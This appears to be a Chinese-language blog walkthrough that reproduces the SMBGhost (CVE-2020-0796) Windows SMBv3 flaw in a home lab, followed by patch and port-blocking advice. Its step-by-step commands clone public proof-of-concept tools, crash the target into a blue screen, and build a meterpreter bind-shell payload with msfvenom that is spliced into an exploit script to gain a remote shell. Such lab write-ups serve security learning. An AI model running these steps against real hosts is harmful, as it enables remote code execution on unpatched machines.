一、漏洞介绍

Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。Windows 10 和Windows Server 2016引入了SMB 3.1.1.本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端

二、漏洞复现

环境准备:

kali系统ip:192.168.91.136

win10系统ip:192.168.91.141

我的window10镜像,下载路径是

ed2k://|file|cn_windows_10_business_editions_version_1903_updated_sept_2019_x64_dvd_2f5281e1.iso|5231140864|B1D5C4C401036B0B1EBA64476A95F338|/

也可以自己去MSDN, 我告诉你 - 做一个安静的工具站,选择一个受影响的win10版本

复现步骤:

1.先将搭建好的环境启动,然后win10的防火墙关掉(为了使后面能进行shell才进行的操作)

 2.先查看kali与window10是否互能互ping通

 3.使用工具检查靶机是否存在漏洞,检查工具下载地址https://github.com/ollypwn/SMBGhost运行结果如下图,证明靶机存在漏洞,Vulnerable代表目标存在漏洞,可以进行攻击!

 4.漏洞利用-蓝屏

目标:使目标主机蓝屏

原理:该脚本连接到目标主机,并在转移头中设置了错误的偏移量字段的情况下压缩了身份验证的请求,从而导致解压缩器缓冲溢出并导致目标崩溃

在kali直接敲命令下载工具:git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git

 意思我缺少这个模块,直接用命令python -m pip install ntlm_auth,安装对应缺少的模块,然后就是进入工具的目录,输入命令对目标主机进行攻击

python3 CVE-2020-0796.py win10靶机的ip

 

 

从上图可以发现,该主机拥有此漏洞,至于造成蓝屏的原因,是因为该漏洞若不经过修改时无法获取shell,只能进行蓝屏攻击

5.kali进入msf,使用msf生成木马,并查看是否生成功msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python>exploit

 

注意下图:exploit.py是msf生成

exploit.py的内容:

注意下图:这是poc下载文件中的exploit.py

 

exploit.py的内容

6.将msf中生成的exoloit.py生成的code,替换到poc下载文件中的exploit.py的USER_PAYLOAD参数,并把参数buf改为USER_PAYLOAD,替换完如下图

7.运行exploit.py脚本,发起攻击反弹shell(如果出现报错physical read primitive failed! 多运行几次)

8.启动msf监听本地端口(run失败就多run几次)

 9.再次检查监听端口,成功拿到shell

三、修复建议

1.安装官方补丁

微软已经发布了此漏洞的安全补丁,访问如下连接

Security Update Guide - Microsoft Security Response Center

2.禁用SMBv3压缩

禁用SMB3.0的压缩功能,是否使用需要结合自己业务进行判断。

注:利用以上命令进行更改后,无需重启即可生效:该方法仅可用来防护真对SMB服务器(SMB SERVER)的攻击,无法对SMB客户机(SMB Client)进行防护。

3.设置防火墙策略关闭相关端口

4.通过IP安全策略屏蔽危险端口,bat执行添加防火墙策略,关闭危险服务

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐